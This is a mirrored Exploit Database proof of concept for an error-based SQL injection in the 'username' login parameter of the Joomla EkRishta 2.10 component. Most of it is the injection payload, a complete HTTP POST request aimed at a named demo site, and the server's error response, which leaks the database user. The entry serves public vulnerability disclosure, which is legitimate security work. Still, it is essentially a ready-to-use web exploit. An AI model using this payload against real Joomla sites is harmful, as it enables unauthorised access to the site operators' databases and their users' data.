Joomla! Component EkRishta 2.10 – ‘username’ SQL Injection

• Exploit Database
• 16 阅读

• 作者： L0RD
  日期： 2018-06-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44877/

• # Exploit Title: Joomla! Component EkRishta 2.10 - 'username' SQL Injection
  # Date: 2018-06-11
  # Exploit Author: L0RD
  # Software Link: https://extensions.joomla.org/extension/ek-rishta/
  # Vendor Homepage: https://www.joomlaextensions.co.in/
  # Version: 2.10
  # Tested on: Win 10
  
  # POC : SQLi :
  # Parameter : username
  # Type : Error based
  # Payload : 1' AND extractvalue(1,concat(0x3a,user(),0x3a))#
  # Test : http://joomlaextension.biz/ekrishta/index.php/login/sign-in
  
  # Request
  
  POST /ekrishta/index.php/login/sign-in HTTP/1.1
  Host: joomlaextension.biz
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
  Gecko/20100101 Firefox/61.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://joomlaextension.biz/ekrishta/index.php/login/sign-in
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 264
  Cookie: 2b59fab16cbbad2fc73d64e5cc7a2950=k0fcnijgbnnk4i8f15bem38vp3;
  joomla_user_state=logged_in
  Connection: keep-alive
  Upgrade-Insecure-Requests: 1
  
  username=1' AND
  extractvalue(1,concat(0x3a,user(),0x3a))#&passwd=test%27&Submit=Log+in+to+your+account&Itemid=117&option=com_ekrishta&view=alluser&task=check_login&lid=loginuser&return=L2VrcmlzaHRhL2luZGV4LnBocC9sb2dpbi9zaWduLWlu&bac2b97217cd995b069b5b0bc198de1c=1
  
  # Response
  
  HTTP/1.1 500 XPATH syntax error: ':harmiste_rishtaa@localhost:' SQL=select
  * from #__users where username='1' AND
  extractvalue(1,concat(0x3a,user(),0x3a))#'
  Server: nginx
  Date: Mon, 11 Jun 2018 17:05:00 GMT
  Content-Type: text/html; charset=UTF-8
  Connection: keep-alive
  Cache-Control: no-cache
  Pragma: no-cache
  Host-Header: 192fc2e7e50945beb8231a492d6a8024
  Content-Length: 3181